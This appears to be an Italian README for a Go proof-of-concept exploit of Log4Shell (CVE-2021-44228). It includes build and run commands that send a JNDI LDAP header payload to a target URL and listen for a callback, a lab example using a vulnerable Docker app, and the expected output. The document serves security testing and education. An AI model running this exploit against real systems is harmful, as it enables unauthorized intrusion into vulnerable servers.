CVE-2021-44228 PoC (Log4Shell)

⚠️ Disclaimer:
Questo strumento è destinato esclusivamente a scopi educativi, ricerca sulla sicurezza e ambienti di test controllati.
Usarlo contro sistemi senza autorizzazione esplicita è illegale ed è di esclusiva responsabilità dell'utente.

---

📌 Descrizione

Questo progetto contiene un semplice exploit Proof-of-Concept (PoC) per la vulnerabilità Apache Log4j2 (CVE-2021-44228).
Il PoC invia un'intestazione HTTP appositamente predisposta con un payload JNDI LDAP al target.
Se il target è vulnerabile, invierà una callback all'indirizzo LHOST specificato.

---

🚀 Utilizzo

1️⃣ Compilazione

go build -o exploit exploit.go

2️⃣ Esecuzione

sudo ./exploit -r "http://<TARGET_URL>/?search=test" -l <LOCAL_IP>

• -r → URL del target (endpoint dell'applicazione vulnerabile)
• -l → Indirizzo IP del tuo listener di callback (la macchina che esegue il PoC)

---

🛠️ Esempio

Utilizzando l'app vulnerabile Docker fornita:

# Run vulnerable app
docker run --rm --network host ghcr.io/christophetd/log4shell-vulnerable-app

# Run exploit
sudo ./exploit -r "http://127.0.0.1:8080/?search=test" -l 127.0.0.1

Output atteso:

[*] Callback started on 1389
[*] Payload sent! HTTP Status: 200
[*] Callback from 127.0.0.1:56789, target is VULNERABLE